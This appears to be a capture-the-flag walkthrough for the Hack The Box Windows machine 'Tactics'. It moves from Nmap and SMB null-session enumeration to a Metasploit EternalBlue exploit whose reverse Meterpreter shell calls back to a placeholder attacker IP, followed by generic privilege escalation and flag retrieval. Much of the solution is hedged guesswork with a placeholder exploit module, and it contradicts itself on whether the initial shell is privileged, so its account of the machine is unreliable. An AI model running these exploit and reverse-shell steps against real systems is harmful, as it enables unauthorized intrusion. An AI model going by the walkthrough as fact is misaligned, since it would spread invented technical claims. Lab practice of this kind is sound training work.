Initial Reconnaissance: Nmap Enumeration

The Hack The Box machine 'Tactics' presents a Windows environment with a Very Easy difficulty rating. The initial step involves comprehensive network enumeration to identify open ports and running services. We utilize Nmap with specific flags to achieve this:

nmap -T4 --min-rate 5000 -p- -sC -sV -Pn 10.129.188.198

The -T4 flag speeds up the scan, while --min-rate 5000 ensures a minimum of 5000 packets per second are sent. -p- scans all 65535 TCP ports. -sC runs default Nmap scripts, and -sV probes for service version detection. -Pn treats the host as online, bypassing host discovery. The scan reveals the following open ports:

  • 135/tcp: Microsoft Windows RPC (Remote Procedure Call)
  • 139/tcp: Microsoft Windows netbios-ssn (NetBIOS Session Service)
  • 445/tcp: Microsoft-ds (Microsoft Directory Services)

The service version information for port 445 is often less specific, but the presence of these ports strongly indicates a Windows machine sharing resources. The OS is identified as Windows.

Nmap scan results showing open ports 135, 139, and 445 on the target

SMB Enumeration and Null Session Exploitation

With SMB ports (139 and 445) open, the next logical step is to enumerate SMB shares. We can attempt to connect using a null session, which sometimes allows unauthenticated users to list available shares.

The smbclient utility is ideal for this:

smbclient -L //10.129.188.198/ -N

The -L flag lists shares, and -N attempts connection without a password (null session). If successful, this command will output a list of shares accessible on the target machine. On the 'Tactics' machine, this enumeration reveals a share named 'backups'.

Further enumeration of the 'backups' share using smbclient:

smbclient //10.129.188.198/backups -N

This command attempts to connect directly to the 'backups' share. If the share is writable or contains sensitive information, it's a critical finding. In this case, navigating the share might reveal configuration files, user data, or potentially credentials.

Vulnerability Identification: Unpatched SMB

The presence of SMB services, especially on older or unpatched systems, often points to known vulnerabilities. A common attack vector for SMB is EternalBlue (MS17-010), a critical vulnerability that allows remote code execution. While the Nmap scan doesn't directly identify the specific SMB version or patch level, it's a strong candidate for exploitation on a Windows machine with these ports open.

Metasploit Framework is a powerful tool for exploiting such vulnerabilities. We can use the scanner/smb/smb_ms17_010 module to check if the target is vulnerable.

msfconsole
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.129.188.198
run

This auxiliary module will probe the target for the MS17-010 vulnerability. If the output indicates that the target is indeed vulnerable, we can proceed to use an exploit module.

Exploitation: Gaining Initial Foothold

Assuming the target is vulnerable to MS17-010, the next step is to use a Metasploit exploit module to gain a remote shell. The relevant module is exploit/windows/smb/ms17_010_eternalblue.

Setting up the exploit:

use exploit/windows/smb/ms17_010_eternalblue
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set RHOSTS 10.129.188.198
set LHOST YOUR_ATTACKER_IP
set LPORT 4444
exploit

Here:

  • PAYLOAD windows/x64/meterpreter/reverse_tcp specifies the payload to be executed on the target, establishing a reverse TCP connection back to our attacker machine with a Meterpreter session. We choose 64-bit as it's common for modern Windows systems.
  • RHOSTS is the target IP address.
  • LHOST is our attacker's IP address.
  • LPORT is the port on our attacker machine that will listen for the incoming connection.

Upon successful exploitation, a Meterpreter session will be established. This provides an interactive shell with elevated privileges on the compromised machine.

Post-Exploitation: User Enumeration and Privilege Escalation

Once inside with a Meterpreter session, the focus shifts to escalating privileges to gain administrative access. The initial shell is typically that of a low-privileged user.

First, we identify the current user:

getuid

This command reveals the user context we are operating under. If it's not 'Administrator' or 'SYSTEM', privilege escalation is necessary.

Next, we enumerate system information to find potential privilege escalation vectors. This includes checking:

  • Installed software and their versions.
  • Running services and their configurations.
  • Scheduled tasks.
  • System kernel version and patch levels.
  • User accounts and group memberships.

The Meterpreter script post/windows/gather/checkvm can help identify if the machine is a VM, which sometimes offers specific escalation paths, though less common for CTF challenges. More importantly, scripts like post/windows/gather/enum_applications and post/windows/gather/enum_services provide detailed system insights.

A common privilege escalation technique on Windows involves exploiting unpatched system vulnerabilities or misconfigurations. For instance, if the system is missing specific security patches, there might be kernel exploits available in Metasploit, such as exploit/windows/local/ms16_032_secondary_logon_handle_privesc or similar. Running automated privilege escalation scripts like post/multi/recon/local_exploit_suggester can also identify potential local exploits based on the system's configuration.

Assuming a suitable local privilege escalation exploit is found (e.g., a kernel exploit or a service misconfiguration), the process would involve:

use exploit/windows/local/some_privesc_exploit
set SESSION YOUR_METERPRETER_SESSION_ID
set LHOST YOUR_ATTACKER_IP
set LPORT 4444
exploit

This would ideally grant a SYSTEM-level Meterpreter session, providing full administrative control over the machine.

Obtaining the User and Root Flags

With administrative privileges, finding the user flag is typically straightforward. User flags are often located in the user's Desktop or Documents folder.

cd C:\Users\[Username]\Desktop
ls

The user flag, usually a text file named user.txt, should be present. Copying its content will complete the first objective.

Similarly, the root flag (or Administrator flag) is typically found in the Administrator's Desktop or a similarly protected system directory.

cd C:\Users\Administrator\Desktop
ls

Locating and reading the root.txt file confirms full system compromise and completion of the 'Tactics' machine.